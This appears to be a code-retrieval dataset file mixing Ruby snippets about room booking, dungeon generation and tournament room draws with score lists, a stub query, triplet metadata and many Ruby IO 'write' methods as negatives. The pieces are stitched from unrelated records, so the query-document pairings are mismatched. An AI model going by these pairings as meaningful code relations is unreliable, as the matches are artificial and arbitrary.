"def createRooms(roomTable)\n\n roomsArray = []\n i = 0\n while i < roomTable.size\n roomsArray[i] = Room.new(roomTable[i][\"Building\"], roomTable[i][\"Room\"], roomTable[i][\"Capacity\"], roomTable[i][\"Computers Available\"], roomTable[i][\"Seating Available\"], roomTable[i][\"Seating Type\"], roomTable[i][\"Food Allowed\"], roomTable[i][\"Priority\"], roomTable[i][\"Room Type\"])\n i+=1\n end\n return roomsArray\nend",
"def createRoom()\n\t\twidth = rand(@areaWidth * 0.5 .. @areaWidth * 0.7).floor\n\t\theight = rand(@areaHeight * 0.5 .. @areaHeight * 0.7).floor\n\t\t@room = [\n\t\t\trand(@areaX + @areaWidth * 0.15 .. @areaX + @areaWidth - width * 1.15).ceil,\n\t\t\trand(@areaY + @areaHeight * 0.15 .. @areaY + @areaHeight - height * 1.15).ceil,\n\t\t\twidth,\n\t\t\theight,\n\t\t]\n\tend",
"def search_rooms\n end",
"def generate_rooms\n\n allocated_cells = get_allocated_cells\n taken_cells = 0\n room_id = 1\n\n max_room_w = @width * Dungeon::ROOM_SIZE_WEIGHT - 1\n max_room_h = @height * Dungeon::ROOM_SIZE_WEIGHT - 1\n\n # Make rooms until all the allocation has dried out\n while taken_cells < allocated_cells\n \n r_w = (rand*max_room_w).ceil + 1\n r_h = (rand*max_room_h).ceil + 1\n if r_w.odd? && r_h.odd? \n place_room(r_w, r_h, room_id) \n taken_cells += r_w*r_h\n room_id += 1\n end\n end\n \n puts \"Alloc: #{allocated_cells} Placed:#{taken_cells}\"\n\n end",
"def rooms_list\n\t\t\t@rooms.map {|room| \"Room: #{room.id}\"}.join(\", \")\n\t\tend",
"def name_rooms\n @browser.goto(ScraperModule.url[:find_a_room])\n @browser.element(css: '#menuContent > ul > li:nth-child(2) > ul > li:nth-child(3) > div > a').click\n @browser.select_list(:id, 'cboLocation').select('B_58468bae-fafe-43eb-98de-f7b992f1ac2b')\n page_html = ScraperModule.parse_html(@browser)\n i = 1\n sw = true\n while sw\n if page_html.xpath('//*[@id=\"ajaxRoomList\"]/div[3]/table/tbody/tr[' + i.to_s + ']/td[3]').text != ''\n puts i.to_s + ') ' + page_html.xpath('//*[@id=\"ajaxRoomList\"]/div[3]/table/tbody/tr[' + i.to_s + ']/td[3]').text\n @rooms[i.to_s] = page_html.xpath('//*[@id=\"ajaxRoomList\"]/div[3]/table/tbody/tr[' + i.to_s + ']/td[5]/span/a').first.attributes['onclick'].content.split(\"'\")[1].strip\n i += 1\n else\n if @browser.element(css: '#ajaxRoomList > div.ListActionBar.ListActionBarBottom > div.PageSelectorControls > input[type=\"number\"]').value.to_s == '1'\n @browser.element(css: '#ajaxRoomList > div:nth-child(2) > div.PageSelectorControls > div.imgNextArrow').click\n page_html_2 = ScraperModule.parse_html(@browser)\n j = 1\n while page_html_2.xpath('//*[@id=\"ajaxRoomList\"]/div[3]/table/tbody/tr[' + j.to_s + ']/td[3]').text != ''\n puts i.to_s + ') ' + page_html_2.xpath('//*[@id=\"ajaxRoomList\"]/div[3]/table/tbody/tr[' + j.to_s + ']/td[3]').text\n @rooms[i.to_s] = page_html_2.xpath('//*[@id=\"ajaxRoomList\"]/div[3]/table/tbody/tr[' + j.to_s + ']/td[5]/span/a').first.attributes['onclick'].content.split(\"'\")[1].strip\n i += 1\n j += 1\n end\n @browser.element(css: '#ajaxRoomList > div:nth-child(2) > div.PageSelectorControls > div.imgBackArrow').click\n sw = false\n end\n end\n end\n end",
"def printer (array)\nrooms = assign_rooms(array)\nnames = batch_badge_creator(array)\nrooms.each do |room1|\n puts room1\nend\nnames.each do |name1|\n puts name1\nend\nend",
"def initialize\n @rooms = list_rooms\n @reservations = []\n end",
"def generate_rooms\n\n allocated_cells = get_allocated_cells\n taken_cells = 0\n room_id = 1\n\n max_room_w = @width * Dungeon::ROOM_SIZE_WEIGHT - 1\n max_room_h = @height * Dungeon::ROOM_SIZE_WEIGHT - 1\n\n # Make rooms until all the allocation has dried out\n while taken_cells < allocated_cells\n\n r_w = (rand*max_room_w).ceil + 1\n r_h = (rand*max_room_h).ceil + 1\n if r_w.odd? && r_h.odd?\n place_room(r_w, r_h, room_id)\n taken_cells += r_w*r_h\n room_id += 1\n end\n end\n end",
"def available_rooms\n @booking = current_user.bookings.new(booking_params)\n @hotel_rooms = @hotel_category.hotel_rooms.available_rooms(params[:booking][:check_in], params[:booking][:check_out])\n end",
"def assign_room_for_bracket(num_rooms, teams, sorted_chairs, sorted_wings, rooms, round, format)\n\t\t \t#select a room at random for this room\n\t\t \troom = rooms.pop(); #they have already been shuffled\n\n\t\t #for now, we randomly assign teams within the bracket\n\t\t rd = RoomDraw.new(tournament_id: round.tournament[:id], round_id: round[:id], \n\t\t \t\t\t\t\t room_id: room, #it is already an id \n\t\t \t\t\t\t\t status: GlobalConstants::ROOM_DRAW_STATUS[:not_finished]);\n\n\t\t i = 0;\n\t\t while(i < GlobalConstants::FORMAT[format][:num_teams_per_room])\n\t\t #select team at random from the remaining amount\n\t\t chosen_team = teams.pop(); #the bracket was already shuffled\n\t\t #we can just pick them out in order\n\n\t\t #ensure this team has not been this position too many times\n\t\t #the position is i (0 for OG, 1 for OO, etc.)\n\t\t #SOME LOGIC\n\n\t\t #if good selection, remove from the hat\n\t\t teams.delete(chosen_team); #remove team since taken for round\n\t\t \t \n\t\t #input team into room draw\n\t\t input_team(rd, chosen_team, i, format);\n\t\t \n\t\t i = i + 1; #increment to know we have allocated a team\n\t\t end\n\n\t\t #try to save this room since we have all the info\n\t\t if !rd.save();\n\t\t \tthrow(\"Could not save RoomDraw.\");\n\t\t end\n\t\t \n\t\t #throw in the adjs based simply on rank and top room\n\t\t input_adjs(rd, sorted_chairs, sorted_wings, \n\t\t \t\t\t calculate_num_adjs(num_rooms, sorted_chairs.count, sorted_wings.count));\n\n\t \t\n\t \t@num_rooms_assigned = @num_rooms_assigned + 1;\n\t \tround.tournament.update(progress: ((@num_rooms_assigned / num_rooms.to_f) * 100));\n\t\t end",
"def reserve_room\n unless rooms_available?\n raise NoRoomsError.new(\"All rooms are reserved.\")\n end\n room = @available_rooms.pop\n @reserved_rooms << room\n return room\n end",
"def check_in(guest1, room)\n if room.length <= 4\n p \"welcome, #{guest1}\" && room << guest1\n else room.length >= 5\n p \"no room, #{guest1}\"\n end\nend",
"def list_all_rooms\n return @rooms\n end",
"def set_occupied_room\n @occupied_room = OccupiedRoom.find(params[:id])\n end",
"def set_roomlist\n @roomlist = Roomlist.find(params[:id])\n end",
"def room\n end",
"def list_reserved_rooms\n unless @rooms.empty?\n @rooms.each do |key, room|\n puts room.report_lister\n end\n end\n end",
"def get_rooms\n answer = \"\"\n rooms = []\n until answer == \"n\"\n puts \"\\nDo you require assistance? (y/n)\"\n answer = gets.chomp.downcase\n room_count = 0\n if answer == \"y\"\n puts \"How many rooms should I clean?\"\n until room_count.to_i > 0 do\n room_count = gets.chomp.to_i\n puts \"Provide a valid number, human.\"\n end\n puts \"What rooms require maintenance? (kitchen, bedroom, bathroom, other)\"\n (1..room_count).each do |room|\n puts \"Please name room #{room}: \"\n rooms << gets.chomp.to_s\n end\n return rooms\n else\n puts \"Cannot compute.\"\n end\n end\n return nil\nend",
"def setup_hotel\n single = Room.new('Single', 1, 30)\n double = Room.new('Double', 2, 50)\n family = Room.new('Family', 4, 85)\n\n hotel = Hotel.new\n hotel.add_room_type(single, 2)\n hotel.add_room_type(double, 3)\n hotel.add_room_type(family, 1)\n hotel\nend",
"def get_fellows_room_allocation(fellows)\n fellows_list = []\n fellows.each do |fellow|\n fellow_data = {}\n fellow_data[\"name\"] = fellow.name\n fellow_data[\"room\"] = fellow.room\n fellows_list.push fellow_data\n end\n return fellows_list\n end",
"def set_room_amenity\n @room_amenity = RoomAmenity.find(params[:id])\n end",
"def add_guests_to_room(guest)\n for person in guest\n guests.push(person)\n end\n end",
"def assign_teams_in_bracket(num_rooms, teams, sorted_chairs, sorted_wings, rooms, round, format)\n\t\t teams_left = teams.count; #we start with all teams in bracket left\n\t\t teams.shuffle(); #important to shuffle the bracket\n\n\t\t #THIS IS WHERE WE NEED LOGIC TO PLACE GROUPS OF TEAMS WHICH HAVE COMPLIMENTARY POSITION PREFERENCES\n\n\t\t while(teams_left > 0) #while teams left to allocate\n\t\t assign_room_for_bracket(num_rooms, \n\t\t \t\t\t\t\t\t\t\tteams.pop(GlobalConstants::FORMAT[format][:num_teams_per_room]), \n\t\t \t\t\t\t\t\t\t\tsorted_chairs, sorted_wings, rooms, round, format); #do a room assignment\n\t\t teams_left = teams_left - GlobalConstants::FORMAT[format][:num_teams_per_room]; #lost n teams to room\n\t\t end\n\t\t end",
"def get_rooms_by_capacity(range_filter, room, rooms_capacity)\n range = split_string(range_filter)\n if room.capacity >= range[0].to_i && room.capacity < range[1].to_i\n rooms_capacity << room\n end\n rooms_capacity\n end",
"def book_rooms\n @room_category= RoomCategory.all\n end",
"def initialize(name, fee, capacity) #needs to be same number of arguments as @room_1 in setup\n @name = name\n @fee = fee\n @capacity = capacity\n @guests = []\n @playlist = []\n end",
"def add_room(room)\n @rooms << room\n return self\nend",
"def initialize(rooms, times)\n\t\t@rooms = rooms\n\t\t@times = times\n\n\t\t# create 1 key per each room in hash\n\t\t@roomhash = Hash.new\n\t\t@rooms.each do |r|\n\t\t\t@roomhash[r] = Array.new\n\t\tend\n\n\t\t# initialize to all rooms available at all times\n\t\t@availability = Hash.new\n\t\t@times.each do |t|\n\t\t\tfor i in t[0]..t[1]\n\t\t\t\t@availability[i] = @rooms.dup\n\t\t\tend\n\t\tend\n\tend",
"def hotel_rooms\n \tobject.available_hotel_rooms @instance_options[:check_in], @instance_options[:check_out]\n end",
"def edit\n @rooms = { \n items: Room.all, \n }\n end",
"def find_available_rooms(rooms, start_date: Date.today, end_date: Date.today + 2)\n return Room.all_available_rooms(rooms, start_date: start_date, end_date: end_date)\n end",
"def newstudent firstname, lastname, course\n $roster << {firstname: firstname, lastname: lastname, course: course}\nend",
"def room; end",
"def printer( attendees )\n newlist = []\n attendees.each_with_index do |attendee, index|\n puts \"Hello, my name is #{attendee}.\"\n newlist << \"Hello, #{attendee}! You'll be assigned to room #{index + 1}!\"\n end\n newlist.map {|person| puts person }\nend",
"def build_list_of_players\n [\n \"cliff\",\n \"anne\",\n \"harry\",\n \"sam\",\n \"devin\",\n \"ally\",\n \"bob\",\n \"jane\",\n \"jimmy\",\n \"dave\"\n ]\nend",
"def room_cycle rooms, location\n x = 1\n while x != rooms.count\n puts x.to_s + ': ' + rooms[x][0]\n x = x+1\n end\nend",
"def printer(attendees)\n badges = batch_badge_creator(attendees)\n rooms = assign_rooms(attendees)\n\n badges.zip(rooms)\n\n badges.zip(rooms).each do |badges, rooms|\n puts badges\n puts rooms\n end\n\nend",
"def seperateFullCapacityRooms(roomsArray, inputNumOfAttendees)\n i = 0\n j = 0\n fullCapacityRoomsArray = []\n while i < roomsArray.length\n if roomsArray[i].capacity.to_i >= inputNumOfAttendees.to_i \n fullCapacityRoomsArray[j] = roomsArray[i]\n j += 1\n end\n i+=1\n end\n return fullCapacityRoomsArray\nend",
"def assign_group(group_size, students)\n\nend",
"def initialize(player_name) #initialize player_name so we can create a local variable.\n @player = Player.new(player_name)\n @rooms = [] #could also do @rooms = Array.new\n end",
"def available_rooms\n available_rooms = reservations.select do |reservation|\n reservation.status == :HOLD\n end\n \n return available_rooms\n end",
"def join_room(id)\n @rooms.join id\n end"
] |
[
"0.8229181",
"0.8163804",
"0.8022056",
"0.79739535",
"0.77126974",
"0.77026916",
"0.7689169",
"0.7659879",
"0.7587761",
"0.75472695",
"0.7542743",
"0.75424784",
"0.7528686",
"0.74863034",
"0.7447473",
"0.7435326",
"0.74094486",
"0.73801833",
"0.7369993",
"0.7354445",
"0.7344749",
"0.72495204",
"0.71979207",
"0.71446556",
"0.7125584",
"0.704487",
"0.7041045",
"0.70142233",
"0.70055425",
"0.6955411",
"0.6885169",
"0.6866578",
"0.6865625",
"0.6861211",
"0.6834492",
"0.681349",
"0.6752146",
"0.6662236",
"0.6577882",
"0.65647745",
"0.6536783",
"0.6336987",
"0.62681705",
"0.6235824",
"0.62291574",
"0.62121797",
"0.6192774",
"0.61233926",
"0.61104065",
"0.6052582",
"0.6019544",
"0.594712",
"0.5893647",
"0.5891112",
"0.58568615",
"0.58423364",
"0.5836756",
"0.58278626",
"0.5824773",
"0.5822077",
"0.5802582",
"0.57926154",
"0.5781752",
"0.5773148",
"0.5764113",
"0.5750809",
"0.57337564",
"0.5719985",
"0.57182574",
"0.5713553",
"0.56919324",
"0.568663",
"0.56514424",
"0.56505674",
"0.56441396",
"0.56226426",
"0.5608243",
"0.56031346",
"0.55917436",
"0.55916655",
"0.5589487",
"0.55639523",
"0.5563397",
"0.55494064",
"0.55420893",
"0.5527059",
"0.5524545",
"0.5513915",
"0.54918414",
"0.54806376",
"0.5478985",
"0.5448097",
"0.5445318",
"0.5438249",
"0.5438184",
"0.5430787",
"0.54304373",
"0.5426162",
"0.5406958",
"0.5385205",
"0.5378448"
] |
0.0
|
-1
|
=begin def last_person end =end
|
def show boook
puts @hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def last_name\n return person.last_name\n end",
"def last_name; end",
"def last_name; end",
"def last_name; end",
"def last_name; end",
"def last() end",
"def last; end",
"def last; end",
"def last; end",
"def last_name\n @last_name\n end",
"def last\n end",
"def last_name\n @last_name\n end",
"def last_name\n @last_name\n end",
"def praise_person(first, last)\n puts \"#{first} #{last} is amazing\"\n end",
"def last_name\n lastName\n end",
"def last_employee\n @last_employee ||= Employee.last\n end",
"def last?; end",
"def last_student_by_method\n STUDENT_NAMES.last\nend",
"def last_name\n @last_name ||= @data[:sn].last\n end",
"def last=(last) \n if last == nil or last.size == 0 \n raise ArgumentError.new('Everyone must have a last name.') \n end \n @last = last \n end",
"def lastCreated\n \t@persona = Personal.order(\"created_at DESC\").limit(4)\n end",
"def last_name\n @last_name ||= raw_info[\"lastname\"] rescue nil\n end",
"def last_name\n self[:LastName]\n end",
"def youngest_person\n # ???\nend",
"def people; end",
"def last_line; end",
"def last_line; end",
"def last_line; end",
"def last_line; end",
"def last_line; end",
"def last_line; end",
"def last_line; end",
"def last\n\t\t\t@last\n\t\tend",
"def last_name\n super || (name and name.split.last)\n end",
"def Blast\n\n\t\nend",
"def last_name\n Faker::Name.last_name\n end",
"def last_name\n Faker::Name.last_name\n end",
"def last_name\n Faker::Name.last_name\n end",
"def last_name\n return self.sn\n end",
"def name_of_oldest_person(people)\nend",
"def last=(last)\n if(last == nil or last.size == 0)\n\t raise ArgumentError.new(\"Everyone should have last name.\")\n\tend\n\t@last = last\n end",
"def last_name\n self.name.split(' ').last\n end",
"def last_student_by_method\n # Write a solution that returns the first student using the built in .last method\n STUDENT_NAMES.last\n # Write a solution that returns the first student in the array student_names\nend",
"def first_last\n first_name + \" \" + last_name\n end",
"def fullName\r\n return @first + \" \" + @middle + \" \" + @last\r\n end",
"def fullName()\n \t@first + \" \" + @middle + \" \" + @last\n end",
"def person\n self\n end",
"def fullName\n return @first + ' ' + @middle + ' ' + @last\n end",
"def last_first\n last_first = last_name\n last_first += \", \"\n last_first += first_name\n if !@middle_name.nil?\n last_first += \" \"\n #take just first letter of middle name\n last_first += middle_name.slice(0,1)\n last_first += \". \"\n end\n last_first\n end",
"def full_name\n \"#{@first} #{@last}\"\n end",
"def last_first\n last_first = last_name\n last_first += \", \"\n last_first += first_name\n if !@middle_name.nil?\n last_first += \" \"\n last_first += middle_name.slice(0, 1)\n last_first += \".\"\n end\n last_first\n end",
"def fullname\n\t@fullname ||= \"#{firstname} #{lastname}\"\nend",
"def last_name\r\n @profile[:name].split(/ /).last\r\n end",
"def last=(last)\n if last == nil or last.size == 0\n raise ArgumentError.new('Everyone must have a last name.')\n end\n @last = last\n end",
"def paternal_last_names\n \"#{last_name} #{last_name}\"\n end",
"def getMostAwesomePerson\n return @persons.max\n end",
"def last_name\n case rand(0..1)\n when 0 then male_last_name\n when 1 then female_last_name\n end\n end",
"def last_rut; end",
"def last_name(gender = :random)\n name_for_gender(:last_name, gender)\n end",
"def last_first\n last_first = last_name\n last_first += \", \"\n last_first += first_name\n if !@middle_name.nil?\n last_first += \" \"\n last_first += middle_name.slice(0, 1)\n last_first += \".\"\n end\n last_first\n end",
"def final_feedback_person\n return interview_feedback_person.person unless interview_feedback_person.nil?\n return feedback_person.person unless feedback_person.nil?\n nil\n end",
"def tag_end name\n case name\n when 'person'\n @persons << @current_person\n @current_person = nil\n end\n end",
"def oldest_person(people)\nend",
"def name\n person_name\n end",
"def first_last\r\n firstname + (nickname && (nickname.size > 0) ? \" (#{nickname}) \" : \" \") + lastname\r\n end",
"def get_last\n raise NotImplementedError, \"Please implement get_last\"\n end",
"def last_name=(lname)\n @last_name = lname\n end",
"def last_column; end",
"def last_column; end",
"def last_column; end",
"def last_column; end",
"def last_bank_account_holder()\n ACCOUNTS.last[:holder_name]\nend",
"def last_name\n @last_name ||= clean_name(names_array.first)\n end",
"def last_name\n @json['user']['content']['lastname'] || ''\n end",
"def last\n @range.last\n end",
"def last_name_first_name\n \"#{last_name}, #{first_name}\"\n end",
"def last_name\n friend = User.find_by_id(self.friend_id)\n return friend.last_name\n end",
"def last_name # same as field name ;\n User.where(id: object.user_id)[0].last_name\n end",
"def fullName()\n return first + \" \" + middle + \" \" + last\n end",
"def person_full_name\n person_full_name = ''\n person_full_name += self.person_prefix + ' ' if self.person_prefix\n person_full_name += self.person_forenames_inline if self.person_forenames_inline\n person_full_name += ' ' + self.person_surname_inline if self.person_surname_inline\n person_full_name += ', ' + self.person_suffix + ' ' if self.person_suffix\n person_full_name\n end",
"def lastsave; end",
"def lastsave; end",
"def last_name_first\n self.last_name + ', ' + self.first_name\n end",
"def lastname(lastname, direction = :push)\n firstname(lastname, direction)\n end",
"def show\n\t @person = Entry.last\n end",
"def last_name\n self.dig_for_string(\"agentSummary\", \"lastName\")\n end",
"def last_name\n if name.split.count > 1\n name.split[-1]\n else\n ''\n end\n end",
"def fullname\n \"#{prename} #{lastname}\"\n end",
"def name_lastfirst\n\t\treturn [ self.sn, self.givenName ].compact.join( ', ' )\n\tend",
"def display_competitor_last_name\n x = self.competitor_id\n y = Competitor.find_by_id(x)\n return y.last_name\n end",
"def current_person\n current_user\n end",
"def last_line_only(range); end",
"def last_line_only(range); end",
"def last_line_only(range); end",
"def guest2_last_name_report\n return guest2.present? ? guest2.last : \"OUT\"\n end",
"def get_last_entry\n @entry = FeedEntry.find(:first, :conditions => {:person_id => self.id})\n end",
"def first_name\n # return person's first name\n return @first_name\n end",
"def fullname\n if !self.last_name.nil?\n self.first_name + ' ' + self.last_name\n else\n self.first_name\n end\n end",
"def fullname\n\t\t\"#{fname} #{lname}\"\n\tend",
"def last_name\n $tracer.trace(__method__)\n return ToolTag.new(span.className(create_ats_regex_string(\"ats-wis-addrlname\")), __method__)\n end",
"def fullname\n self.firstname+\" \"+self.lastname\n end"
] |
[
"0.74063075",
"0.7011822",
"0.7011822",
"0.7011822",
"0.7011822",
"0.6885185",
"0.68614304",
"0.68614304",
"0.68614304",
"0.68369734",
"0.6833746",
"0.67267376",
"0.67267376",
"0.6704265",
"0.6662109",
"0.6604422",
"0.65683717",
"0.6434868",
"0.6411263",
"0.6391077",
"0.6376991",
"0.6371928",
"0.6354632",
"0.63391906",
"0.63040274",
"0.6298098",
"0.6298098",
"0.6298098",
"0.6298098",
"0.6298098",
"0.6298098",
"0.6298098",
"0.62779444",
"0.62549037",
"0.62410694",
"0.6233121",
"0.6233121",
"0.6233121",
"0.6230246",
"0.6229734",
"0.622564",
"0.6221986",
"0.6205607",
"0.61908174",
"0.6176299",
"0.61463404",
"0.61206925",
"0.6096009",
"0.6074275",
"0.606168",
"0.6051526",
"0.603428",
"0.60282934",
"0.6020658",
"0.60181606",
"0.6018045",
"0.6017134",
"0.5986243",
"0.5983615",
"0.59703785",
"0.5958599",
"0.5952215",
"0.59508294",
"0.59392095",
"0.59301966",
"0.59113437",
"0.59083825",
"0.5906982",
"0.5906982",
"0.5906982",
"0.5906982",
"0.58958876",
"0.58706504",
"0.58636516",
"0.58619106",
"0.5856942",
"0.584568",
"0.58352876",
"0.5820571",
"0.5817125",
"0.5811591",
"0.5811591",
"0.58106077",
"0.58011377",
"0.58007604",
"0.5794844",
"0.5793276",
"0.57923937",
"0.57912374",
"0.5783693",
"0.57780224",
"0.5777661",
"0.5777661",
"0.5777661",
"0.57766926",
"0.5776251",
"0.57698524",
"0.5767741",
"0.5763877",
"0.5748333",
"0.5742601"
] |
0.0
|
-1
|
Writes bytes directly to the IO object.
|
def write(bytes)
@io.write(bytes)
nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write(bytes)\r\n end",
"def write(io)\n io = BinData::IO.new(io) unless BinData::IO === io\n\n do_write(io)\n io.flush\n self\n end",
"def write bytes\n r = response_object\n r.body \"\" if r.body_io.nil?\n r.body_io.write bytes\n end",
"def io(data, io)\n io.write(obj)\n end",
"def _do_write(io)\n raise NotImplementedError\n end",
"def write(io)\n if io.is_a?(String)\n io = File.open(io, 'w')\n self.write(io)\n io.close\n return\n end\n\n Marshal.dump(self, io)\n end",
"def write(io)\n write_with_crc(io, content || '')\n end",
"def write_to(io)\n end",
"def write_to(io)\n end",
"def write(bytes)\n @serial_port.write(bytes)\n end",
"def write(io)\n each do |chunk|\n io << chunk\n end\n\n self\n end",
"def write(io)\n write_with_crc(io, content || \"\")\n end",
"def write(buf); end",
"def write_to_socket bytes\n socket.write_nonblock bytes\n rescue IO::WaitWritable\n :wait_writable\n end",
"def write_binary(buf)\n raise NotImplementedError\n end",
"def write!\n @dev = File.open(@device, \"w\") if (@dev.nil? || @dev.closed?)\n @dev.write @bytes.pack(\"c*\")\n @dev.flush\n end",
"def write_bytes(bytes)\n if bytes.nil?\n write_int32(-1)\n else\n write_int32(bytes.bytesize)\n write(bytes)\n end\n end",
"def write(io)\n io.write [@value].pack(format)\n end",
"def record_write bytes\n @reader.record_write bytes, @state\n end",
"def write_buffer(io = T.unsafe(nil)); end",
"def write data\n _data[:out].write data\n _data[:out].flush\n end",
"def shell_write(buf)\n raise NotImplementedError\n end",
"def write( object )\n if object.responds_to?(:write_to) then\n object.write_to(@stream)\n else\n @stream << object.to_s\n end\n end",
"def write_to io\n io.write(self.to_2da)\n end",
"def do_write(io)\n raise ArgumentError, \"io must be a BinData::IO\" unless BinData::IO === io\n\n if eval_param(:onlyif)\n _do_write(io)\n end\n end",
"def write_to(io)\n open {|i|\n FileUtils.copy_stream(i, io)\n }\n end",
"def write_to(io, *options); end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(data)\n end",
"def shell_write(buf)\n rstream.write(buf)\n end",
"def shell_write(buf)\n rstream.write(buf)\n end",
"def write(s)\n do_write(s)\n s.bytesize\n end",
"def write_buffer(io = T.unsafe(nil), encrypter = T.unsafe(nil)); end",
"def write(data)\n @handle.writeData(data)\n end",
"def write_to(io)\n\t@io = io\n\t@bytes_written = 0\n\twrite_header()\n\t@update_block.call(nil, @seq.tracks.length, 0) if @update_block\n\t@seq.tracks.each_with_index do |track, i|\n write_track(track)\n @update_block.call(track, @seq.tracks.length, i) if @update_block\n\tend\n end",
"def write_to(io)\n\t@io = io\n\t@bytes_written = 0\n\twrite_header()\n\t@update_block.call(nil, @seq.tracks.length, 0) if @update_block\n\t@seq.tracks.each_with_index do |track, i|\n write_track(track)\n @update_block.call(track, @seq.tracks.length, i) if @update_block\n\tend\n end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(*args)\n args.each do |a|\n @serial.write a.chr\n end\n end",
"def write_buffer(io = ::StringIO.new, encrypter: nil)\n io.binmode if io.respond_to?(:binmode)\n zos = new(io, stream: true, encrypter: encrypter)\n yield zos\n zos.close_buffer\n end",
"def record_write bytes, state=nil\n begin\n do_record_write bytes, state\n rescue\n nil\n end\n end",
"def write(io)\n @values.each {|el|\n el.write io\n }\n end",
"def write(chunk)\n # dummy\n end",
"def syswrite( buf )\n\t\treturn _write( buf )\n\tend",
"def write_byte(byte)\n write [byte].pack(\"C\")\n end",
"def <<(buf)\n return write(buf.to_s)\n end",
"def puts_bytes(*a)\n @device.puts_bytes(*a)\n end",
"def puts( obj )\n return unless writeable?\n\n data = Marshal.dump(obj)\n @socket.write([data.size].pack('I')) + @socket.write(data)\n rescue SystemCallError\n return nil\n end",
"def _do_write(io)\n instantiate_all\n @field_objs.each { |f| f.do_write(io) }\n end",
"def write(data)\n # black hole, because we don't actually care about what gets written\n end",
"def send_data(io, data)\n loop do\n n = io.syswrite(data)\n return if n == data.bytesize\n data = data[n..-1]\n end\n end",
"def write(bytes)\n loop do\n written = 0\n begin\n # unlike plain tcp sockets, ssl sockets don't support IO.select\n # properly.\n # Instead, timeouts happen on a per write basis, and we have to\n # catch exceptions from write_nonblock, and gradually build up\n # our write buffer.\n written += @ssl_socket.write_nonblock(bytes)\n rescue Errno::EFAULT => error\n raise error\n rescue OpenSSL::SSL::SSLError, Errno::EAGAIN, Errno::EWOULDBLOCK, IO::WaitWritable => error\n if error.is_a?(OpenSSL::SSL::SSLError) && error.message == 'write would block'\n if select_with_timeout(@ssl_socket, :write)\n retry\n else\n raise Errno::ETIMEDOUT\n end\n else\n raise error\n end\n end\n\n # Fast, common case.\n break if written == bytes.size\n\n # This takes advantage of the fact that most ruby implementations\n # have Copy-On-Write strings. Thusly why requesting a subrange\n # of data, we actually don't copy data because the new string\n # simply references a subrange of the original.\n bytes = bytes[written, bytes.size]\n end\n end",
"def do_write(s)\n @wbuffer << s\n @wbuffer.force_encoding(Encoding::BINARY)\n @sync ||= false\n\n if @sync or @wbuffer.size > BLOCK_SIZE or idx = @wbuffer.rindex($/)\n remain = idx ? idx + $/.size : @wbuffer.length\n nwritten = 0\n\n while remain > 0\n str = @wbuffer[nwritten,remain]\n begin\n nwrote = syswrite(str)\n rescue Errno::EAGAIN\n retry\n end\n remain -= nwrote\n nwritten += nwrote\n end\n\n @wbuffer[0,nwritten] = \"\"\n end\n end",
"def unbuffered_write(string)\n bytes_written = @io.write(string)\n @total_bytes_in += bytes_written\n bytes_written\n end",
"def write(string)\n @handle.write(string)\n end",
"def write(data)\n @data << data\n end",
"def write(io)\n wu32(io, MAGIC_NUMBER)\n wu16(io, VERSION_MAJOR)\n wu16(io, VERSION_MINOR)\n wi32(io, THIS_ZONE)\n wu32(io, sigfigs)\n wu32(io, snaplen)\n wu32(io, network)\n end",
"def write(buf, *args)\n Polyphony.backend_write(self, buf, *args)\n end",
"def flush\n @out.flush if @out.is_a?(IO)\n end",
"def write(io)\n @values.each {|field|\n field.write io\n }\n end",
"def write!(handle, offset, data, &callback)\n wait_for(write(handle, offset, data, &callback))\n end",
"def write\n end",
"def write(*data); end",
"def write(handle, offset, data)\n send_request(FXP_WRITE, :string, handle, :int64, offset, :string, data)\n end",
"def send_output_io! data\n output_io.write data\n self\n rescue ::SystemExit, ::Interrupt, ::SignalException\n raise\n rescue ::Exception => exc\n $stderr.puts \"#{Time.now.utc.iso8601} #{$$} #{self} ERROR in send_output_io! #{exc.inspect}\"\n if @socket\n @socket.close rescue nil\n @socket = nil\n end\n self\n end",
"def write_to(stream)\n end",
"def write_byte(*n); end",
"def flush\n io.flush\n end",
"def write(data)\r\n Win32API.new(\"msvcrt\", \"_write\", \"lpl\", \"l\").call(@fd, data, 1)\r\n end",
"def write(io)\n tempfile = \"#{file_path}.#{Process.pid}.#{object_id}\"\n open(tempfile, \"wb\") do |file|\n while part = io.read(8192)\n file << part\n end\n end\n ::File.rename(tempfile, file_path)\n ensure\n ::File.unlink(tempfile) rescue nil\n end",
"def write io_path_or_writer\n if io_path_or_writer.is_a? Writer\n io_path_or_writer.write self\n else\n writer(io_path_or_writer).write(self)\n end\n end",
"def write(input)\r\n target.write input\r\n self\r\n end",
"def syswrite(buffer)\n\t\t\t\tremaining = buffer.bytesize\n\t\t\t\t\n\t\t\t\t# Fast path:\n\t\t\t\twritten = @io.write(buffer)\n\t\t\t\treturn if written == remaining\n\t\t\t\t\n\t\t\t\t# Slow path:\n\t\t\t\tremaining -= written\n\t\t\t\t\n\t\t\t\twhile remaining > 0\n\t\t\t\t\twrote = @io.write(buffer.byteslice(written, remaining))\n\t\t\t\t\t\n\t\t\t\t\tremaining -= wrote\n\t\t\t\t\twritten += wrote\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn written\n\t\t\tend",
"def bytes!(ofs, sz)\n unless @stack[-1][-1] and @stack[-1][-1][0] == :bytes\n out! :bytes, ofs, 0\n end\n @output_binary << @data[ofs, sz]\n @stack[-1][-1][2] += sz\n end",
"def write\n file = ::File.open(@file, 'w')\n file.write(Bencode.encode(@data))\n file.close\n end",
"def write; end",
"def write; end",
"def puts_bytes(*data)\r\n API::Output.puts(@resource, data)\r\n true\r\n end",
"def to_io\n @io.to_io\n end",
"def write\n write_data\n end",
